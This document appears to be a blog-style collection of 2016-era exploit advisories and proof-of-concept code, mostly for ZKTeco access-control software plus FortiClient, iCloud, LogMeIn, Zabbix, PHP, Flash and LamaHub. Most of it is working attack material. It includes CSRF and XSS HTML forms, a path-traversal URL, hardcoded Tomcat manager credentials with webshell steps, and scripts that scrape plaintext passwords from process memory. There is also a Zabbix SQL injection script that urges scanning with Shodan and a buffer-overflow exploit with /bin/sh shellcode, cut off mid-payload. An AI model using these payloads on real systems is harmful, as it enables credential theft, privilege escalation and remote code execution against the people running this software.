ZKTeco ZKTime.Net 3.0.1.6 Insecure File Permissions
Vendor: ZKTeco Inc. | Xiamen ZKTeco Biometric Identification Technology Co.,ltd
Product web page: http://www.zkteco.com
Affected version: 3.0.1.6
3.0.1.5 (160622)
3.0.1.1 (160216)
Summary: ZKTime.Net V3.0 is a new generation time attendance
management software. Meanwhile, it integrates with time attendance
and access control system. Some frequently used functions such as
attendance reports, device management and employee management can
be managed directly on the home page which providing excellent user
experience. Owing to the Pay code function, it can generate both
time attendance records and corresponding payroll in the software
and easy to merge with the most ERP and Payroll software, which can
rapidly upgrade your working efficiency. The brand new flat GUI design
and humanized structure will make your daily management more pleasant
and convenient.
Desc: ZKTime.Net suffers from an elevation of privileges vulnerability
which can be used by a simple user that can change the executable file
with a binary of choice. The vulnerability exist due to the improper
permissions, with the 'C' flag (Change) for 'Everyone' group, making the
entire directory 'ZKTimeNet3.0' and its files and sub-dirs world-writable.
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
Microsoft Windows 7 Professional SP1 (EN)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2016-5360
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5360.php
18.07.2016
--
C:\>showacls "c:\Program Files (x86)\ZKTimeNet3.0"
c:\Program Files (x86)\ZKTimeNet3.0
Everyone Change [RWXD]
NT SERVICE\TrustedInstaller Special Access [A]
NT AUTHORITY\SYSTEM Special Access [A]
BUILTIN\Administrators Special Access [A]
BUILTIN\Users Special Access [RX]
CREATOR OWNER Special Access [A]
C:\>showacls "c:\Program Files (x86)\ZKTimeNet3.0\ZKTimeNet.exe"
c:\Program Files (x86)\ZKTimeNet3.0\ZKTimeNet.exe
Everyone Change [RWXD]
C:\Program Files (x86)>cacls ZKTimeNet3.0
C:\Program Files (x86)\ZKTimeNet3.0 Everyone:(OI)(CI)C
NT SERVICE\TrustedInstaller:(ID)F
NT SERVICE\TrustedInstaller:(CI)(IO)(ID)F
NT AUTHORITY\SYSTEM:(ID)F
NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(ID)F
BUILTIN\Administrators:(ID)F
BUILTIN\Administrators:(OI)(CI)(IO)(ID)F
BUILTIN\Users:(ID)R
BUILTIN\Users:(OI)(CI)(IO)(ID)(special access:)
GENERIC_READ
GENERIC_EXECUTE
CREATOR OWNER:(OI)(CI)(IO)(ID)F
C:\Program Files (x86)\ZKTimeNet3.0>cacls *.exe
C:\Program Files (x86)\ZKTimeNet3.0\LanguageTranslate.exe Everyone:C
Everyone:(ID)C
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Administrators:(ID)F
BUILTIN\Users:(ID)R
C:\Program Files (x86)\ZKTimeNet3.0\unins000.exe Everyone:(ID)C
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Administrators:(ID)F
BUILTIN\Users:(ID)R
C:\Program Files (x86)\ZKTimeNet3.0\ZKTimeNet.DBTT.exe Everyone:C
Everyone:(ID)C
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Administrators:(ID)F
BUILTIN\Users:(ID)R
C:\Program Files (x86)\ZKTimeNet3.0\ZKTimeNet.exe Everyone:C
Everyone:(ID)C
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Administrators:(ID)F
BUILTIN\Users:(ID)R
C:\Program Files (x86)\ZKTimeNet3.0\ZKTimeNet.Update.exe Everyone:C
Everyone:(ID)C
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Administrators:(ID)F
BUILTIN\Users:(ID)R
C:\Program Files (x86)\ZKTimeNet3.0\ZKTimeNet.ZKTime5DB.exe Everyone:C
Everyone:(ID)C
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Administrators:(ID)F
BUILTIN\Users:(ID)R
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
<?php
#############################################################################
## PHP 7.0 AppendIterator::append Local Denial of Service
## Tested on Windows Server 2012 R2 64bit, English, PHP 7.0
## Date: 31/08/2016
## Local Denial of Service
## Bug discovered by Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
## http://www.black-rose.ml
#############################################################################
$tmp = new AppendIterator();
$tmp->append($tmp); // Crash
?>
ZKTeco ZKAccess Professional 3.5.3 Insecure File Permissions
Vendor: ZKTeco Inc. | Xiamen ZKTeco Biometric Identification Technology Co.,ltd
Product web page: http://www.zkteco.com
Affected version: 3.5.3 (Build 0005)
Summary: ZKAccess 3.5 is a desktop software which is suitable
for small and medium businesses application. Compatible with
all ZKAccess standalone reader controllers, the software can
simultaneously manage access control and generate attendance
report. The brand new flat GUI design and humanized structure
of new ZKAccess 3.5 will make your daily management more pleasant
and convenient.
Desc: ZKAccess suffers from an elevation of privileges vulnerability
which can be used by a simple authenticated user that can change the
executable file with a binary of choice. The vulnerability exist due
to the improper permissions, with the 'M' flag (Modify) for 'Authenticated Users'
group.
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
Microsoft Windows 7 Professional SP1 (EN)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2016-5361
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5361.php
18.07.2016
--
C:\ZKTeco>icacls ZKAccess3.5
ZKAccess3.5 BUILTIN\Administrators:(I)(F)
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
BUILTIN\Users:(I)(OI)(CI)(RX)
NT AUTHORITY\Authenticated Users:(I)(M)
NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(IO)(M)
Successfully processed 1 files; Failed processing 0 files
ZKTeco ZKBioSecurity 3.0 Hardcoded Credentials Remote SYSTEM Code Execution
Vendor: ZKTeco Inc. | Xiamen ZKTeco Biometric Identification Technology Co.,ltd
Product web page: http://www.zkteco.com
Affected version: 3.0.1.0_R_230
Platform: 3.0.1.0_R_230
Personnel: 1.0.1.0_R_1916
Access: 6.0.1.0_R_1757
Elevator: 2.0.1.0_R_777
Visitor: 2.0.1.0_R_877
Video:2.0.1.0_R_489
Adms: 1.0.1.0_R_197
Summary: ZKBioSecurity3.0 is the ultimate "All in One" web based security
platform developed by ZKTeco. It contains four integrated modules: access
control, video linkage, elevator control and visitor management. With an
optimized system architecture designed for high level biometric identification
and a modern-user friendly UI, ZKBioSecurity 3.0 provides the most advanced
solution for a whole new user experience.
Desc: The ZKBioSecurity solution suffers from a use of hard-coded credentials.
The application comes bundled with a pre-configured apache tomcat server and an
exposed 'manager' application that after authenticating with the credentials:
username: zkteco, password: zkt123, located in tomcat-users.xml file, it allows
malicious WAR archive containing a JSP application to be uploaded, thus giving
the attacker the ability to execute arbitrary code with SYSTEM privileges.
Ref: https://www.exploit-db.com/exploits/31433/
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
Microsoft Windows 7 Professional SP1 (EN)
Apache-Coyote/1.1
Apache Tomcat/7.0.56
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2016-5362
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5362.php
18.07.2016
--
Contents of tomcat-users.xml:
-----------------------------
C:\Program Files (x86)\BioSecurity\MainResource\tomcat\conf\tomcat-users.xml:
<?xml version='1.0' encoding='utf-8'?>
...
...
...
<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<role rolename="manager-status"/>
<user password="zkt123" roles="manager-gui,manager-script,manager-jmx,manager-status" username="zkteco"/>
</tomcat-users>
-----------------------------
Open Manager application and login:
-----------------------------------
http://127.0.0.1:8088/manager (zkteco:zkt123)
Deploy JSP webshell, issue command:
-----------------------------------
- Request: whoami
- Response: nt authority\system
call the findConnectors() method of the Service use:
----------------------------------------------------
http://127.0.0.1:8088/manager/jmxproxy/?invoke=Catalina%3Atype%3DService&op=findConnectors&ps=
Response:
OK - Operation findConnectors returned:
Connector[HTTP/1.1-8088]
Connector[AJP/1.3-8019]
List of all loaded servlets:
----------------------------
http://127.0.0.1:8088/manager/jmxproxy/?j2eeType=Servlet
ZKTeco ZKBioSecurity 3.0 (visLogin.jsp) Local Authorization Bypass
Vendor: ZKTeco Inc. | Xiamen ZKTeco Biometric Identification Technology Co.,ltd
Product web page: http://www.zkteco.com
Affected version: 3.0.1.0_R_230
Platform: 3.0.1.0_R_230
Personnel: 1.0.1.0_R_1916
Access: 6.0.1.0_R_1757
Elevator: 2.0.1.0_R_777
Visitor: 2.0.1.0_R_877
Video:2.0.1.0_R_489
Adms: 1.0.1.0_R_197
Summary: ZKBioSecurity3.0 is the ultimate "All in One" web based security
platform developed by ZKTeco. It contains four integrated modules: access
control, video linkage, elevator control and visitor management. With an
optimized system architecture designed for high level biometric identification
and a modern-user friendly UI, ZKBioSecurity 3.0 provides the most advanced
solution for a whole new user experience.
Desc: The issue exist due to the way visLogin.jsp script processes the login
request via the 'EnvironmentUtil.getClientIp(request)' method. It runs a check
whether the request is coming from the local machine and sets the ip variable
to '127.0.0.1' if equal to 0:0:0:0:0:0:0:1. The ip variable is then used as a
username value with the password '123456' to authenticate and disclose sensitive
information and/or do unauthorized actions.
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
Microsoft Windows 7 Professional SP1 (EN)
Apache-Coyote/1.1
Apache Tomcat/7.0.56
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2016-5367
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5367.php
18.07.2016
--
C:\Program Files (x86)\BioSecurity\MainResource\tomcat\webapps\ROOT\visLogin.jsp:
---------------------------------------------------------------------------------
1: <%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%>
2: <%@page import="com.zk.common.util.EnvironmentUtil"%>
3: <%
4: String path = request.getContextPath();
5: String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
6:
7: String ip= EnvironmentUtil.getClientIp(request);
8: if("0:0:0:0:0:0:0:1".equals(ip))
9: {
10: ip = "127.0.0.1";
11: }
12:
13: %>
14: <jsp:include page="login.jsp"/>
15: <script type="text/javascript" src="/vis/js/jquery.cookie.js"></script>
16:
17: <script>
18: function autoLogin()
19: {
20: $.cookie('backUrl', "visRegistrationAction!registrationTouch.action?type=touch", { expires: 1 });
21: $.cookie('customerBackUrl', "visRegistrationAction!registrationTouch.action?type=touch", { expires: 1 });
22: var ip = "<%=ip%>";
23: $("#userLoginForm input[name='username']").val(ip);
24: $("#userLoginForm input[name='password']").val("123456");
25: $('#userLoginForm').submit();
26: }
27: window.onload=autoLogin;
28: </script>
---------------------------------------------------------------------------------
<!--
ZKTeco ZKBioSecurity 3.0 CSRF Add Superadmin Exploit
Vendor: ZKTeco Inc. | Xiamen ZKTeco Biometric Identification Technology Co.,ltd
Product web page: http://www.zkteco.com
Affected version: 3.0.1.0_R_230
Platform: 3.0.1.0_R_230
Personnel: 1.0.1.0_R_1916
Access: 6.0.1.0_R_1757
Elevator: 2.0.1.0_R_777
Visitor: 2.0.1.0_R_877
Video:2.0.1.0_R_489
Adms: 1.0.1.0_R_197
Summary: ZKBioSecurity3.0 is the ultimate "All in One" web based security
platform developed by ZKTeco. It contains four integrated modules: access
control, video linkage, elevator control and visitor management. With an
optimized system architecture designed for high level biometric identification
and a modern-user friendly UI, ZKBioSecurity 3.0 provides the most advanced
solution for a whole new user experience.
Desc: The application interface allows users to perform certain actions via
HTTP requests without performing any validity checks to verify the requests.
This can be exploited to perform certain actions with administrative privileges
if a logged-in user visits a malicious web site.
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
Microsoft Windows 7 Professional SP1 (EN)
Apache-Coyote/1.1
Apache Tomcat/7.0.56
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2016-5364
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5364.php
18.07.2016
-->
<html>
<body>
<form action="http://127.0.0.1:8088/authUserAction!edit.action" method="POST" enctype="multipart/form-data">
<input type="hidden" name="authUser.username" value="thricer" />
<input type="hidden" name="authUser.loginPwd" value="111111" />
<input type="hidden" name="repassword" value="111111" />
<input type="hidden" name="authUser.isActive" value="true" />
<input type="hidden" name="authUser.isSuperuser" value="true" />
<input type="hidden" name="groupIds" value="1" />
<input type="hidden" name="deptIds" value="1" />
<input type="hidden" name="areaIds" value="1" />
<input type="hidden" name="authUser.email" value="lab@zeroscience.mk" />
<input type="hidden" name="authUser.name" value="test" />
<input type="hidden" name="authUser.lastName" value="lasttest" />
<input type="hidden" name="fingerTemplate" value=" " />
<input type="hidden" name="fingerId" value=" " />
<input type="hidden" name="logMethod" value="add" />
<input type="hidden" name="un" value="1471451964349_2769" />
<input type="hidden" name="systemCode" value="base" />
<input type="submit" value="Go" />
</form>
</body>
</html>
ZKTeco ZKBioSecurity 3.0 File Path Manipulation Vulnerability
Vendor: ZKTeco Inc. | Xiamen ZKTeco Biometric Identification Technology Co.,ltd
Product web page: http://www.zkteco.com
Affected version: 3.0.1.0_R_230
Platform: 3.0.1.0_R_230
Personnel: 1.0.1.0_R_1916
Access: 6.0.1.0_R_1757
Elevator: 2.0.1.0_R_777
Visitor: 2.0.1.0_R_877
Video:2.0.1.0_R_489
Adms: 1.0.1.0_R_197
Summary: ZKBioSecurity3.0 is the ultimate "All in One" web based security
platform developed by ZKTeco. It contains four integrated modules: access
control, video linkage, elevator control and visitor management. With an
optimized system architecture designed for high level biometric identification
and a modern-user friendly UI, ZKBioSecurity 3.0 provides the most advanced
solution for a whole new user experience.
Desc: File path manipulation vulnerabilities arise when user-controllable data
is placed into a file or URL path that is used on the server to access
local resources, which may be within or outside the web root. An attacker can
modify the file path to access different resources, which may contain sensitive
information. Even where an attack is constrained within the web root, it is often
possible to retrieve items that are normally protected from direct access, such
as application configuration files, the source code for server-executable scripts,
or files with extensions that the web server is not configured to serve directly.
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
Microsoft Windows 7 Professional SP1 (EN)
Apache-Coyote/1.1
Apache Tomcat/7.0.56
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2016-5365
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5365.php
18.07.2016
--
http://127.0.0.1:8088/baseAction!getPageXML.action?xmlPath=/vid/../WEB-INF/web.xml
<!--
ZKTeco ZKAccess Security System 5.3.1 Stored XSS Vulnerability
Vendor: ZKTeco Inc. | Xiamen ZKTeco Biometric Identification Technology Co.,ltd
Product web page: http://www.zkteco.com
Affected version: 5.3.12252
Summary: ZKAccess Systems are built on flexible, open technology to provide
management, real-time monitoring, and control of your access control system-all
from a browser, with no additional software to install. Our secure Web-hosted
infrastructure and centralized online administration reduce your IT costs and
allow you to easily manage all of your access points in a single location. C3-100's
versatile design features take care of present and future needs with ease and
efficiency. It is one of the most rugged and reliable controllers on the market,
with a multitude of built-in features. The C3-100 can communicate at 38.4 Kbps
via RS-485 configuration or Ethernet TCP/IP networks. It can store up to 30,000
cardholders.
Desc: Input passed to the 'holiday_name' and 'memo' POST parameters is not properly
sanitised before being returned to the user. This can be exploited to execute
arbitrary HTML and script code in a user's browser session in context of an affected
site.
Tested on: CherryPy/3.1.0beta3 WSGI Server
Firmware: AC Ver 4.1.9 3893-07 Jan 6 2016
Python 2.6
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2016-5368
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5368.php
18.07.2016
-->
<html>
<body>
<form action="http://127.0.0.1/data/iaccess/AccHolidays/_new_/?_lock=1" method="POST">
<input type="hidden" name="pk" value="None" />
<input type="hidden" name="holiday_name" value=""><script>alert(1)</script>" />
<input type="hidden" name="holiday_type" value="1" />
<input type="hidden" name="start_date" value="09/13/2016" />
<input type="hidden" name="end_date" value="10/18/2016" />
<input type="hidden" name="loop_by_year" value="2" />
<input type="hidden" name="memo" value=""><script>alert(2)</script>" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
<?php
#############################################################################
## PHP 7.0 JsonSerializable::jsonSerialize json_encode Local Denial of Service
## Tested on Windows Server 2012 R2 64bit, English, PHP 7.0
## Date: 31/08/2016
## Local Denial of Service
## Bug discovered by Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
## http://www.black-rose.ml
#############################################################################
class jsonTmp implements JsonSerializable {
function jsonSerialize() {
$jsonTmp = new jsonTmp();
return $jsonTmp;
}
}
json_encode(new jsonTmp());
?>
'''
Title : Extracting clear text passwords from running processes(FortiClient)
CVE-ID : none
Product : FortiClient SSLVPN
Service : FortiTray.exe
Affected : <=5.4
Impact : Critical
Remote : No
Website link : http://forticlient.com/
Reported : 31/08/2016
Authors : Viktor Minin https://1-33-7.com
Alexander Korznikov http://korznikov.com
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
In our research which involved this program we found that this process store the credentials that you supplied for connecting, in clear text in the process memory.
In this situation a potential attacker who hacked your system can reveal your Username and Password steal and use them.
This may assist him in gaining persistence access to your Organization LAN network.
'''
from winappdbg import Debug, Process, HexDump
import sys
filename = "FortiTray.exe" # Process name
search_string = "fortissl" # pattern to get offset when the credentials stored
# Searching function
def memory_search( pid, strings ):
process = Process( pid )
mem_dump = []
######
# You could also use process.search_regexp to use regular expressions,
# or process.search_text for Unicode strings,
# or process.search_hexa for raw bytes represented in hex.
######
for address in process.search_bytes( strings ):
dump = process.read(address-10,800) #Dump 810 bytes from process memory
mem_dump.append(dump)
for i in mem_dump:
if "FortiClient SSLVPN offline" in i: #print all founds results by offsets to the screen.
print "\n"
print " [+] Address and port to connect: " + str(i[136:180])
print " [+] UserName: " + str(i[677:685])
print " [+] Password: " + str(i[705:715])
print "\n"
debug = Debug()
try:
# Lookup the currently running processes.
debug.system.scan_processes()
# Look for all processes that match the requested filename...
for ( process, name ) in debug.system.find_processes_by_filename( filename ):
pid = process.get_pid()
memory_search(pid,search_string)
finally:
debug.stop()
#####
# Apple iCloud Desktop Client v5.2.1.0 Local Credentials Disclosure After Sign Out Exploit
# Tested on Windows Windows 7 64bit, English
# Vendor Homepage @ https://www.apple.com/
# Product Homepage @ https://support.apple.com/en-us/HT204283
# Date 07/09/2016
# Bug Discovery by:
#
# Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
# http://www.black-rose.ml
#
# Viktor Minin (https://www.linkedin.com/in/MininViktor)
# https://1-33-7.com/
#
# Alexander Korznikov (https://www.linkedin.com/in/nopernik)
# http://korznikov.com/
#
#####
# Apple iCloud Desktop Client v5.2.1.0 is vulnerable to local credentials disclosure after the user is logged out.
# It seems that iCloud does not store the supplied credentials while the user is logged in, but after sign out the supplied username and password are stored in a plaintext format in memory process.
# Funny eh?!
# A potential attacker could reveal the supplied username and password in order to gain access to iCloud account.
#
# Authors are not responsible for any misuse or demage which caused by use of this script code.
# Please use responsibly.
#####
# Proof-Of-Concept Code:
import time
import urllib
from winappdbg import Debug, Process
def b2h(str):
return ''.join(["%02X " % ord(x) for x in str]).strip()
def h2b(str):
bytes = []
str = ''.join(str.split(" "))
for i in range(0, len(str), 2):
bytes.append(chr(int(str[i:i+2], 16)))
return ''.join(bytes)
usr = ''
pwd = ''
found = 0
filename = "iCloud.exe"
process_pid = 0
memory_dump = []
debug = Debug()
try:
print "#########################################################################"
print "#\tApple iCloud v5.2.1.0 Local Credentials Disclosure Exploit\t#"
print "# Bug Discovery by Yakir Wizman, Victor Minin, Alexander Korznikov\t#"
print "#\t\tTested on Windows Windows 7 64bit, English\t\t#"
print "#\t\t\tPlease use responsibly.\t\t\t\t#"
print "#########################################################################\r\n"
print "[~] Searching for pid by process name '%s'.." % (filename)
time.sleep(1)
debug.system.scan_processes()
for (process, process_name) in debug.system.find_processes_by_filename(filename):
process_pid = process.get_pid()
if process_pid is not 0:
print "[+] Found process with pid #%d" % (process_pid)
time.sleep(1)
print "[~] Trying to read memory for pid #%d" % (process_pid)
process = Process(process_pid)
for address in process.search_bytes('\x88\x38\xB7\xAE\x73\x8C\x07\x00\x0A\x16'):
memory_dump.append(process.read(address,50))
try:
str = b2h(memory_dump[0]).split('88 38 B7 AE 73 8C 07 00 0A 16')[1]
usr = h2b(str.split(' 00')[0])
except:
pass
memory_dump = []
for address in process.search_bytes('\x65\x00\x88\x38\xB7\xAE\x73\x8C\x07\x00\x02\x09'):
memory_dump.append(process.read(address,60))
try:
str = b2h(memory_dump[0]).split('07 00 02 09')[1]
pwd = h2b(str.split(' 00')[0])
except:
pass
if usr != '' and pwd !='':
found = 1
print "[+] iCloud Credentials found!\r\n----------------------------------------"
print "[+] Username: %s" % usr
print "[+] Password: %s" % pwd
if found == 0:
print "[-] Credentials not found!"
else:
print "[-] No process found with name '%s'." % (filename)
debug.loop()
finally:
debug.stop()
#####
# LogMeIn Client v1.3.2462 (64bit) Local Credentials Disclosure
# Tested on Windows Windows Server 2012 R2 64bit, English
# Vendor Homepage @ https://secure.logmein.com/home/en
# Date 06/09/2016
# Bug Discovery by:
#
# Alexander Korznikov (https://www.linkedin.com/in/nopernik)
# http://korznikov.com/
#
# Viktor Minin (https://www.linkedin.com/in/MininViktor)
# https://1-33-7.com/
#
# Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
# http://www.black-rose.ml
#
#####
# LogMeIn Client v1.3.2462 is vulnerable to local credentials disclosure, the supplied username and password are stored in a plaintext format in memory process.
# A potential attacker could reveal the supplied username and password in order to gain access to account and associated computers.
#####
# Proof-Of-Concept Code:
import time
import urllib
from winappdbg import Debug, Process
username = ''
password = ''
found = 0
filename = "LMIIgnition.exe"
process_pid = 0
memory_dump = []
debug = Debug()
try:
print "[~] Searching for pid by process name '%s'.." % (filename)
time.sleep(1)
debug.system.scan_processes()
for (process, process_name) in debug.system.find_processes_by_filename(filename):
process_pid = process.get_pid()
if process_pid is not 0:
print "[+] Found process with pid #%d" % (process_pid)
time.sleep(1)
print "[~] Trying to read memory for pid #%d" % (process_pid)
process = Process(process_pid)
for address in process.search_bytes('\x26\x5F\x5F\x56\x49\x45\x57\x53\x54\x41\x54\x45\x3D'):
memory_dump.append(process.read(address,150))
for i in range(len(memory_dump[0])):
email_addr = memory_dump[i].split('email=')[1]
tmp_passwd = memory_dump[i].split('password=')[1]
username = email_addr.split('&hiddenEmail=')[0]
password = tmp_passwd.split('&rememberMe=')[0]
if username != '' and password !='':
found = 1
print "[+] Credentials found!\r\n----------------------------------------"
print "[+] Username: %s" % urllib.unquote_plus(username)
print "[+] Password: %s" % password
break
if found == 0:
print "[-] Credentials not found! Make sure the client is connected."
else:
print "[-] No process found with name '%s'." % (filename)
debug.loop()
finally:
debug.stop()
Jobberbase: http://www.jobberbase.com/
Version: 2.0
By Ross Marks: http://www.rossmarks.co.uk
1) Local path disclosure - change any variable to an array and in most cases it will tell you the local path where the application is installed
eg. http://example.com/api/api.php?action=getJobs&type[]=0&category=0&count=5&random=1&days_behind=7&response=js
returns: Array to string conversion in <b>/var/www/jobberbase/_lib/class.Job.php</b>
2) Open redirect - when submitting an application can change "Referer:" header to anything and will redirect there
3) reflect XSS in username - http://example.com/admin/
eg. "><script>alert(1)</script>
reflect XSS in search: http://example.com/search/|<img src="x" onError="alert(1)">/
4) persistant XSS on admin backend homepage
create a job and give the URL:
" onhover="alert(1)
persistant XSS - admin add to category name (no protection)
5) unrestricted file upload
upload CV accepts any filetype appends _ uniqueid() to filename
eg. "file.php" becomes "file_<uniqueid>.php"
uniquid in in insecure method for generating random sequences and is based on microtime
if the server is using an older version of PHP a null byte can be used
ie. "test.php%00.php" would be uploaded as "test.php"
6) code execution race condition:
if the admin has chosen to not store uploaded CV's
they are first moved from /tmp to the writable /upload directory before being unlinked
this gives a brief window of opportunity for an attacker to run http://example.com/uploads/file.php before it is deleted
7) SQL injection in http://example.com/api/api.php?action=getJobs&type=0&category=0&count=5&random=1&days_behind=7&response=js
days_behind parameter is vulnerable
** notes **
admin change password page don't need old password, no csrf token just a simple POST request.
admin password stored in md5 format unsalted
cookies do NOT have "secure" or "HTTPonly" flags enabled
no csrf anywhere
# Exploit Title: 2.0 < Zabbix < 3.0.4 SQL Injection Python PoC
# Data: 20-08-2016
# Software Link: www.zabbix.com
# Exploit Author: Unknown(http://seclists.org/fulldisclosure/2016/Aug/82)
# Version: Zabbix 2.0-3.0.x(<3.0.4)
# PoC Author: Zzzians
# Contact: Zzzians@gmail.com
# Test on: Linux (Debian/CentOS/Ubuntu)
# -*- coding: utf_8 -*-
# Use Shodan or and enjoy :)
# Comb the intranet for zabbix and enjoy :)
import sys,os,re,urllib2
def Inject(url,sql,reg):
payload = url + "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=" + urllib2.quote(
sql) + "&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids[23297]=23297&action=showlatest&filter=&filter_task=&mark_color=1"
try:
response = urllib2.urlopen(payload, timeout=20).read()
except Exception, msg:
print '\t\tOpps,an error occurs...',msg
else:
result_reg = re.compile(reg)
results = result_reg.findall(response)
print payload #Uncomment this to see details
if results:
return results[0]
def exploit(url,userid):
passwd_sql = "(select 1 from (select count(*),concat((select(select concat(cast(concat(alias,0x7e,passwd,0x7e) as char),0x7e)) from zabbix.users LIMIT "+str(userid-1)+",1),floor(rand(0)*2))x from information_schema.tables group by x)a)"
session_sql="(select 1 from (select count(*),concat((select(select concat(cast(concat(sessionid,0x7e,userid,0x7e,status) as char),0x7e)) from zabbix.sessions where status=0 and userid="+str(userid)+" LIMIT 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)"
password = Inject(url,passwd_sql,r"Duplicate\s*entry\s*'(.+?)~~")
if(password):
print '[+]Username~Password : %s' % password
else:
print '[-]Get Password Failed'
session_id = Inject(url,session_sql,r"Duplicate\s*entry\s*'(.+?)~")
if(session_id):
print "[+]Session_id：%s" % session_id
else:
print "[-]Get Session id Failed"
print '\n'
def main():
print '=' * 70
print '\t 2.0.x? < Zabbix < 3.0.4 SQL Inject Python Exploit Poc'
print '\t\t Author:Zzzians(Zzzians@gmail.com)'
print '\t Reference:http://seclists.org/fulldisclosure/2016/Aug/82'
print '\t\t\t Time：2016-08-20\n'
urls = ["http://10.15.5.86"]
ids = [1,2]
for url in urls:
if url[-1] != '/': url += '/'
print '='*25 + url + '='*25
for userid in ids:
exploit(url,userid)
main()
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=846
If a method is called on a MovieClip, and a getter is set with the name of the method, the getter will get executed during the call, and can free the MovieClip, leading to a user-after-free. A minimal PoC is as follows:
var mc = this.createEmptyMovieClip( "mc", 1);
mc.addProperty( "f", func, func );
mc.f("hello");
function func(){
mc.removeMovieClip();
// Fix heap
var d:Date = new Date();
return d.getDate;
}
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40356.zip
# Exploit Title: LamaHub-0.0.6.2 BufferOverflow
# Date: 09/09/09
# Exploit Author: Pi3rrot
# Vendor Homepage: http://lamahub.sourceforge.net/
# Software Link: http://ovh.dl.sourceforge.net/sourceforge/lamahub/LamaHub-0.0.6.2.tar.gz
# Version: 0.0.6.2
# Tested on: Debian 8 32bits
# This exploit may crash the Lamahub service in many cases.
# If you compile with -fno-stack-protection and -z execstack
# you will be able to execute arbitrary code.
#
# Thanks to the AFL dev' for making the fuzzer who find the crash ;)
# Thanks to gapz for AFL configuration.
#
# pierre@pi3rrot.net
# How it works ?
# Client side:
# exploit_writeEIP.py
# Server side:
# ➜ ./server
# > init () -> OK
# > started on port -> 4111
# > new client -> 127.0.0.1 -> 4
# $ whoami
# pierre
# $
import socket
HOST = 'localhost'
PORT = 4111
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
buf = ""
buf += "\x24\x53\x75\x70\x70\x6f\x72\x74\x73\x20\x55\x73"
buf += "\x6c\x6c\x6f\x20\x49\x50\x32\x20\x65\x61\x72\x63"
buf += "\x68\x20\x5a\x50\x65\x30\x20\x7c\x24\x4b\x65\x79"
buf += "\x61\x7c\x24\x56\x61\x6c\x69\x64\x61\x74\x65\x4e"
buf += "\x69\x63\x6b\x20\x50\x69\x65\x72\x72\x65\x7c\x24"
buf += "\x56\x65\x6e\x20\x31\x2c\x30\x30\x39\x31\x7c\x24"
buf += "\x47\x01\x00\x4e\x3b\x63\x6b\x4c\x69\x73\x74\x7c"
buf += "\x24\x4d\x79\x49\x4e\x46\x4f\x20\x24\x41\x4c\x4c"
buf += "\x20\x50\x69\x65\x72\x72\x65\x20\x4a\x65"
#NEED padding of 96
shellcode = "\x90" *30
shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
shellcode += "\x90"*42
print "Shellcode len: "
print len(shellcode)
buf2 = "\x61\x3c"
buf2 += "\x3c\x24\x4d\x79\x80\x00\x35\x24\x70\x69\x24\x30"
buf2 += "\x24\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37"
